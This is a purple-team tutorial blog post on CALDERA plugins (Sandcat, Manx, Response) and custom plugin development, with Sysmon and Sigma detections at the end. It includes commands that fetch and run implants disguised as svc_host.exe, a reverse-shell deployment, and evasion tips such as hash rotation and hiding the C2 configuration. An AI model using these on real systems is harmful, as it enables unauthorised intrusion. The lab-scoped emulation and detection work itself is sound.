CALDERA Plugin Ecosystem: Sandcat, Manx, Response, and Custom Plugin Development

By Debraj Basak·Jul 16, 2026·16 min readAdversary Emulation

Out of the box, CALDERA is mostly scaffolding. The C2 loop, the operation engine, the fact store, the planners: all of that is real, but the parts you actually operate against a range live in plugins. Sandcat gives you the implant. Manx gives you a hands-on-keyboard reverse shell. Response flips the whole thing into a blue-team responder. And the plugin contract itself is small enough that you can bolt on your own REST endpoint and ability set in an afternoon.

This walkthrough builds all three agents against an isolated lab, dissects the plugin loading mechanism, and ends with a working purple-team plugin you compile and load yourself. Every command runs against gear you own.

Lab: CALDERA server on Ubuntu/Kali at 192.168.56.10:8888, a Windows 10 VM target at 192.168.56.20, no internet routing, Defender disabled on the target for clarity. Everything below is LAB USE ONLY - run only on systems you own and control. Run CALDERA v5.1.0 or newer (that matters, and I explain why in the Manx section).


1. CALDERA Architecture Primer

CALDERA splits cleanly into a core system and plugins. The core boots from server.py, which walks the plugins directory and hooks each enabled plugin into the running aiohttp application.

Two files govern loading:

FileRole
conf/default.yml / conf/local.ymlLists which plugins load at boot. A plugin listed in local.yml is loaded every time the server starts.
plugins/<name>/hook.pyPer-plugin entry point. Exposes an initialize(services) function that server.py calls automatically for each loaded plugin at boot.

The single argument passed to every hook is services, a dict of core services that live inside the core system. Those services (in app/services/) are the only safe surface a plugin should touch. The rule I hammer on with anyone writing a plugin: use the public functions on the services, never import core modules directly, because core internals change between releases and your plugin breaks on the next git pull.

The other vocabulary you need before deploying anything:

ConceptDefinition
AgentAn implant that beacons to the C2 and executes instructions (Sandcat, Manx).
AbilityA single ATT&CK-mapped command with executors, parsers, and cleanup.
AdversaryAn ordered list of abilities under atomic_ordering, plus an optional objective.
OperationAn adversary run against an agent group by a planner.
FactA key/value the operation collects (for example host.user.name) and reuses.
PlannerLogic deciding which ability runs next. The default atomic planner (app/atomic.py in stockpile) sends one ability at a time to each agent in the group, in atomic_ordering sequence.

Commands can carry variables written as #{variable}. Before execution, CALDERA searches the command for these and substitutes collected fact values. Two special ability categories matter operationally: Bootstrap abilities run immediately after an agent’s first beacon, and Deadman abilities run just before an agent terminates gracefully.


Hierarchy diagram showing CALDERA server.py reading conf/local.yml and calling each plugin's hook.py initialize function with the shared services dictionary
Every plugin receives the same services dict at boot; the hook.py contract is the only interface between plugin and core.

2. Sandcat Deep Dive: The Default Agent

Sandcat (internally 54ndc47) is CALDERA’s default implant, written in Golang for cross-platform builds against Windows, Linux, and macOS. It beacons on an interval, pulls instructions, executes, and returns results plus an exit_code field the server uses for link status.

The source tree matters:

PathContents
plugins/sandcat/gocat/Core agent code, all basic features.
plugins/sandcat/gocat/sandcat.goMain file with hardcodable defaults such as the server variable.
plugins/sandcat/gocat-extensions/Optional modules compiled in on request.
plugins/sandcat/hook.pyHandles payload compilation callbacks.

Dynamic recompilation is the feature that earns Sandcat its keep. If a compatible Golang toolchain is installed on the server, CALDERA compiles a fresh binary at download time. Every build produces a new file hash, which defeats naive hash-based signatures, and it lets you bake C2 values or extensions in at compile time. The precompiled binaries shipped in the plugin only carry basic features and, being public on GitHub, get flagged by AV more readily. Compile fresh.

You drive the compilation with HTTP headers when you request the binary. This is the trick that keeps your server URL and group out of the process command line and off the process tree.

Pull a Windows binary from Kali with an embedded server, group, and two extensions:

# LAB USE ONLY - Kali host, 192.168.56.10
curl -sk -X POST \
  -H 'file:sandcat.go' \
  -H 'platform:windows' \
  -H 'server:http://192.168.56.10:8888' \
  -H 'group:redteam' \
  -H 'gocat-extensions:proxy_http,shells' \
  http://192.168.56.10:8888/file/download \
  -o sandcat.exe

If you want to build by hand from the source tree, the cross-compile is a one-liner. The -ldflags="-s -w" strips the symbol table and debug info to shrink the binary:

# LAB USE ONLY - on the CALDERA server
cd plugins/sandcat/gocat
GOOS=windows GOARCH=amd64 go build \
  -o ../payloads/sandcat.go-windows \
  -ldflags="-s -w" sandcat.go

Swap GOOS=linux or GOOS=darwin for the other targets.

Runtime behaviour is controlled by CLI flags when you invoke the binary directly: -server <URL>, -group <name>, -v for verbose, and -originLinkID <link_id> for lateral movement tracking (more on that shortly). Executors available in the default deployment: Windows uses psh (PowerShell) or cmd, Linux and macOS use sh. There is also a proc executor that spawns a process directly from an executable path and arguments rather than routing through a shell interpreter, which changes the process ancestry a defender sees.

Sandcat can also run as a DLL via rundll32, calling the exported VoidFunc function or a custom-named export like MyFunc. Payloads served by the server can be stored plain or XOR-encoded so server-side AV does not eat them; run app/utility/payload_encoder.py against a file to produce the encoded version.

Deliver the binary on the Windows target with the same header trick, so no -server flag ever shows in the command line:

# LAB USE ONLY - Windows VM target, 192.168.56.20
$url = "http://192.168.56.10:8888/file/download"
$headers = @{
    'file'     = 'sandcat.go'
    'platform' = 'windows'
    'server'   = 'http://192.168.56.10:8888'
    'group'    = 'redteam'
}
Invoke-WebRequest -Uri $url -Headers $headers -OutFile "$env:TEMP\svc_host.exe"
Start-Process "$env:TEMP\svc_host.exe"

Within a beacon interval the agent shows up under Campaigns then Agents in the web UI at http://192.168.56.10:8888.


3. Sandcat Extensions and P2P Chaining

The gocat-extensions system is how you keep the base agent small and add capability on demand. You request extensions through the gocat-extensions header at compile time. The ones worth knowing:

ExtensionCapability
shellsAdds osascript (macOS) and pwsh (PowerShell Core) executors.
shellcodeShellcode execution primitives.
proxy_httpHTTP peer-to-peer proxy receiver.
proxy_smb_pipeSMB named-pipe P2P proxy for Windows.
donutExecutes .NET assemblies in memory via TheWover/donut.
sharedC sharing functionality.

P2P chaining is the reason proxy_http exists. An agent compiled with listenP2P:true opens a proxy receiver; a second agent on a segment that cannot reach the C2 directly beacons to that first agent, which relays traffic to the server. You build the chain: internal agent, then proxy agent, then CALDERA server. On a segmented range this is how you reach hosts with no route to 192.168.56.10.

Lateral movement tracking ties the graph together. When one link spawns a new agent, CALDERA passes the spawning link’s ID via -originLinkID. On check-in the agent returns it as origin_link_id in its JSON profile, so the operation graph knows which action produced which agent. Without that argument, a spawned agent looks orphaned.

Enable a P2P-capable Windows build with the SMB pipe proxy and donut:

# LAB USE ONLY
curl -sk -X POST \
  -H 'file:sandcat.go' \
  -H 'platform:windows' \
  -H 'server:http://192.168.56.10:8888' \
  -H 'group:redteam' \
  -H 'gocat-extensions:proxy_smb_pipe,donut,shells' \
  -H 'listenP2P:true' \
  -H 'architecture:amd64' \
  http://192.168.56.10:8888/file/download \
  -o sandcat_p2p.exe

Sandcat’s default contact is HTTP on 8888, but the contact layer supports http, tcp, udp, websocket, gist (GitHub), and dns. Each contact is an independent Python module registered with the contact_svc at server start.


Flow diagram showing CALDERA server communicating with a pivot agent over HTTP which relays tasking to an internal agent over SMB named pipe, with origin link ID tracking the spawn relationship
The proxy_smb_pipe extension lets a segmented agent beacon through a pivot; origin_link_id stitches the spawned agent into the operation graph.

4. Manx: TCP Reverse-Shell Agent

Manx is the plugin you reach for when you want hands-on-keyboard, not autonomy. It supplies shell access into CALDERA plus reverse-shell payloads for entering and exiting agents manually. The defining difference from Sandcat: Manx communicates over the TCP contact, not HTTP.

Loading the plugin (it also ships as the terminal plugin) surfaces a new Terminal GUI page. From there you drop reverse shells on target hosts and drive sessions through a built-in terminal emulator. Manx handles long-running commands cleanly, which is the practical win over shoving a shell through an autonomous agent.

Deploy a Manx payload on the Windows target. CALDERA generates the delivery command for you from the Terminal page; here is the equivalent, showing what it does:

# LAB USE ONLY - Windows VM target
$url = "http://192.168.56.10:8888/file/download"
$headers = @{ 'file' = 'manx.go'; 'platform' = 'windows'; 'server' = '192.168.56.10' }
Invoke-WebRequest -Uri $url -Headers $headers -OutFile "$env:TEMP\manx.exe"
Start-Process "$env:TEMP\manx.exe"
# Session appears in the CALDERA Terminal GUI for interactive use

Now the security note you cannot skip. CVE-2025-27364 is an unauthenticated RCE that lives in exactly the dynamic compilation functionality both Manx and Sandcat use. The agent download endpoint accepts options like communication method, keys, and C2 address through HTTP headers, then compiles the agent on the fly and passes those values in via ldflags. That injection path allowed unauthenticated remote code execution on the CALDERA server itself. It is patched: MITRE fixed it in the Master branch and v5.1.0+. Run the latest version in your lab and never expose port 8888 to an untrusted network. This is the single strongest argument for treating the CALDERA server as a sensitive asset, not a throwaway box.


5. The Response Plugin: Autonomous IR

Response is CALDERA pointed at the defender’s side of the table. It is an autonomous incident response plugin that fights back against adversaries on a compromised host. Structurally it mirrors Stockpile: it ships adversaries, abilities, and fact sources, all loaded from plugins/response/data/*, but the tactics are IR actions rather than offense.

Operationally you run it as a blue-team operation triggered by detected adversary activity, and you can pair it with the GameBoard plugin for red-versus-blue scoring. Its ability YAMLs use the identical schema to Stockpile: id, name, description, tactic, technique, platforms, executors, cleanup, parsers.

Here is a fact-driven IR ability that kills a process flagged by detection. Drop it in plugins/response/data/abilities/incident-response/:

---
# LAB USE ONLY
- id: b9c0d1e2-0010-0020-0030-000000000002
  name: Kill suspicious process by name
  description: Terminates a process flagged by detection (fact-driven)
  tactic: incident-response
  technique:
    attack_id: T1489
    name: Service Stop
  platforms:
    windows:
      psh:
        command: Stop-Process -Name #{host.process.name} -Force
    linux:
      sh:
        command: pkill -f #{host.process.name}

The #{host.process.name} variable is populated by a detection fact source. Wire this into an operation and Response will terminate the offending process autonomously, which is a clean demonstration of the whole fact-substitution loop working defensively.


6. Stockpile and the Ability YAML Schema

Stockpile is the core repository of abilities, adversaries, planners, and facts, all loaded through plugins/stockpile/data/*. Most adversary profiles live in plugins/stockpile/data/adversaries, and profiles you build in the UI land in data/adversaries too. The atomic planner sits at app/atomic.py; a bucket-style example planner sits at app/buckets.py.

Ability YAML is the format you will write most. A discovery ability with a parser that harvests usernames into facts, placed in plugins/stockpile/data/abilities/discovery/:

---
# LAB USE ONLY
- id: a1b2c3d4-0001-0002-0003-000000000001
  name: Enumerate local users
  description: Lists local user accounts on the target
  tactic: discovery
  technique:
    attack_id: T1087.001
    name: Local Account
  platforms:
    windows:
      psh:
        command: Get-LocalUser | Select-Object Name,Enabled | ConvertTo-Csv -NoTypeInformation
        parsers:
          plugins.stockpile.app.parsers.csv:
            - source: host.user.name
        linux:
      sh:
        command: "cat /etc/passwd | cut -d: -f1"

The parsers block is what turns raw stdout into reusable facts. The CSV parser here writes each result into host.user.name, which a downstream ability can pull via #{host.user.name}. Adversary profiles then reference abilities by ID under atomic_ordering, and that list is exactly the run order.


7. Custom Plugin Development: Step-by-Step

A plugin can be almost anything: a RAT like Sandcat, a new GUI, or a private collection of abilities you keep closed-source. The Skeleton plugin scaffolds one:

# LAB USE ONLY - from the skeleton plugin directory
python plugin-init.py

That produces the directory layout. The contract is hook.py with an async entry function that receives services. Below is a minimal viable hook that registers a REST GET endpoint and loads abilities from the plugin’s own data/ directory:

# LAB USE ONLY - plugins/myrecon/hook.py
from aiohttp import web
from app.utility.base_world import BaseWorld

name = 'myrecon'
description = 'Custom recon plugin for GenXCyber lab'
address = '/plugin/myrecon/gui'

async def enable(services):
    app = services.get('app_svc').application
    # Register a REST endpoint
    app.router.add_route('GET', '/api/myrecon/hosts', ReconApi(services).get_hosts)
    # Load plugin data (abilities, adversaries, facts)
    data_svc = services.get('data_svc')
    await data_svc.load_data(directory='plugins/myrecon/data')

class ReconApi:
    def __init__(self, services):
        self.services = services

    async def get_hosts(self, request):
        agents = await self.services.get('data_svc').locate('agents')
        host_list = [{'host': a.host, 'paw': a.paw, 'group': a.group} for a in agents]
        return web.json_response(host_list)

Notice the discipline: it pulls app_svc and data_svc from the services dict and calls only public functions like locate. No core imports beyond base_world. A Jinja2 template at plugins/myrecon/templates/myrecon.html surfaces a navigation tab automatically. Any Markdown or reStructuredText in plugins/myrecon/docs/ shows up in the docs generated by the fieldmanual plugin.

Add - myrecon to conf/local.yml, then restart with a clean object store so stale state does not confuse you:

# LAB USE ONLY
python server.py --fresh

Hit http://192.168.56.10:8888/api/myrecon/hosts and you get JSON of every checked-in agent. That is the entire plugin loop: hook, service, endpoint, data.


Illustration of a custom plugin module being inserted into a larger system panel, representing custom plugin development in CALDERA
A CALDERA plugin is a hook.py file and a data directory – the entire contract fits in an afternoon.

8. Lab Exercise: Build a Purple-Team Plugin

Chain everything into one purple-team flow: deploy a Sandcat agent, collect a recon fact, expose it over a custom endpoint, then trigger a Response IR ability against the agent.

StepActionTool / Command
1. ReconConfirm target reachable and C2 port openping 192.168.56.20; nc -zv 192.168.56.20 8888
2. Compile agentHeader-based dynamic compilecurl on Kali (Section 2 block)
3. Deploy agentPowerShell delivery, headers hide configPowerShell on Windows VM
4. Confirm check-inCampaigns then AgentsBrowser to http://192.168.56.10:8888
5. Build adversaryProfile with atomic_ordering referencing the discovery abilityGUI or YAML in plugins/stockpile/data/adversaries/
6. Run operationLaunch against redteam groupOperations page
7. Inspect resultsReview links, collected facts, parsed host.user.nameOperations then links
8. Deploy ManxDrop a TCP reverse shell for interactive workPowerShell; Terminal plugin
9. Trigger ResponseRun the auto-kill IR ability against the agent processResponse ability (Section 5 block)
10. Load custom pluginScaffold, add hook.py, restart cleanpython plugin-init.py; python server.py --fresh

Run it in order once and the pieces snap together. The gotcha that cost me time the first pass: I forgot --fresh after editing the plugin’s data/ directory, so CALDERA kept serving abilities from the old object store and my new ability never appeared. Flush the store whenever you touch plugin data.


9. Common Attacker Techniques

TechniqueDescription
Header-based config hidingPassing server, group via HTTP headers so no CLI args appear in the process tree.
Hash rotation via recompileEvery dynamic build has a fresh hash, defeating static signatures.
P2P relay chainingproxy_http / proxy_smb_pipe reach segmented hosts through a pivot agent.
In-memory executiondonut and shellcode extensions run assemblies without touching disk.
DLL executionrundll32 calling VoidFunc to blend agent launch into a signed LOLBIN.
Manual TCP shellManx reverse shell over TCP for interactive, long-running commands.

10. Defensive Strategies & Detection

Sysmon carries most of the load:

Event IDWhat it catches
1 Process CreateAgent execution; anomalous names spawned from powershell.exe / cmd.exe; parent-child anomalies.
3 Network ConnectionBeaconing to 8888/tcp (HTTP) or configured ports; Manx TCP reverse-shell connections.
7 Image LoadDLL-mode Sandcat via rundll32.exe; unsigned DLLs loaded from %TEMP%.
10 Process Accessshellcode / donut abilities accessing other process memory.
11 File CreateAgent binary dropped to %TEMP% or C:\Users\Public\.
22 DNS QueryDNS-contact mode: unusual queries from agent processes.
23 File DeleteDeadman ability deleting the agent executable (ability 5f844ac9-5f24-4196-a70d-17f0bd44a934).

A network Sigma sketch for the HTTP beacon:

title: CALDERA Sandcat C2 Beacon
status: experimental
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        EventID: 3
        DestinationPort:
            - 8888
            - 443
            - 53
        Initiated: 'true'
    filter_legitimate:
        Image|contains:
            - 'chrome.exe'
            - 'firefox.exe'
    condition: selection and not filter_legitimate
fields:
    - Image
    - DestinationIp
    - DestinationPort
    - User

And the dropped-binary file event:

title: CALDERA Agent Binary Drop
logsource:
    category: file_event
    product: windows
detection:
    selection:
        EventID: 11
        TargetFilename|contains:
            - '\Users\Public\'
            - '\Temp\'
        TargetFilename|endswith:
            - '.exe'
            - '.bin'
    condition: selection

Beyond Sysmon: enable Process Creation auditing (Security 4688 with command-line logging) to capture -server / -group when operators forget the header trick, and turn on PowerShell Script Block Logging (HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging set EnableScriptBlockLogging = 1) to catch the Invoke-WebRequest delivery. Useful ETW providers: Microsoft-Windows-WinInet (HTTP C2), Microsoft-Windows-DNS-Client (DNS contact), Microsoft-Windows-Kernel-Process, and Microsoft-Windows-PowerShell. On the wire, a Corelight/Zeek detector script for CALDERA exists (github.com/corelight); at the proxy, alert on low-jitter HTTP POSTs to 8888 carrying small application/json bodies, and flag the file:sandcat.go header on ingress to any server during compilation requests.

Hardening for your own CALDERA box: isolate it on a VLAN with no internet route, front it with the ssl plugin, restrict 8888/tcp with lab-only ACLs, enable API key authentication, and stay on v5.1.0+ to keep CVE-2025-27364 closed. Score your blue team’s coverage with the GameBoard plugin, which tracks true/false positives and negatives across simultaneous red and blue operations.


Graph diagram mapping five Sysmon event IDs to the specific CALDERA agent behaviors they detect, including beaconing, DLL loading, binary drops, and self-deletion
Sysmon events 1, 3, 7, 11, and 23 collectively cover the full agent lifecycle from delivery through deadman cleanup.

11. Tools for CALDERA Analysis

ToolDescriptionLink
SysmonProcess, network, file, and image-load telemetrylearn.microsoft.com
ZeekNetwork detection, CALDERA-specific detector scriptzeek.org
SigmaPortable detection rules for the beacon and dropgithub.com
GameBoard pluginRed-vs-blue scoring of detection coveragegithub.com/mitre
Process HackerInspect agent process ancestry and loaded modulesprocesshacker.sourceforge.io
WiresharkConfirm beacon cadence and header artifactswireshark.org

12. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Local Account discoveryT1087.001Sysmon 1 + Script Block Logging on Get-LocalUser
Application Layer Protocol: WebT1071.001Sysmon 3 to 8888; WinInet ETW
Ingress Tool TransferT1105Sysmon 11 binary drop to %TEMP% / Public
System Binary Proxy: Rundll32T1218.011Sysmon 7 unsigned DLL via rundll32.exe
Proxy: Internal (P2P)T1090.001Internal-only connections to pivot agent
Service Stop (Response IR)T1489Security 4688 on Stop-Process

Summary

  • CALDERA’s power lives in its plugins; the core just loads each one through its hook.py initialize(services) contract listed in local.yml.
  • Sandcat is the Golang default implant: dynamic recompilation rotates its hash, header-based config keeps server and group off the process tree, and gocat-extensions add P2P and in-memory execution on demand.
  • Manx is the TCP reverse-shell agent driven from the Terminal GUI; run v5.1.0+ because the compilation endpoint carried CVE-2025-27364.
  • Response reuses the Stockpile ability schema to fight back autonomously, and GameBoard scores it against red-team activity.
  • A custom plugin is small: a hook that registers an aiohttp route and loads data/, using only public service functions, refreshed with python server.py --fresh.
  • Detect all of it with Sysmon 1, 3, 7, 11, and 23, PowerShell Script Block Logging, and network signatures on the 8888 beacon and the file:sandcat.go header.

Related Tutorials

References

Get new drops in your inbox

Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.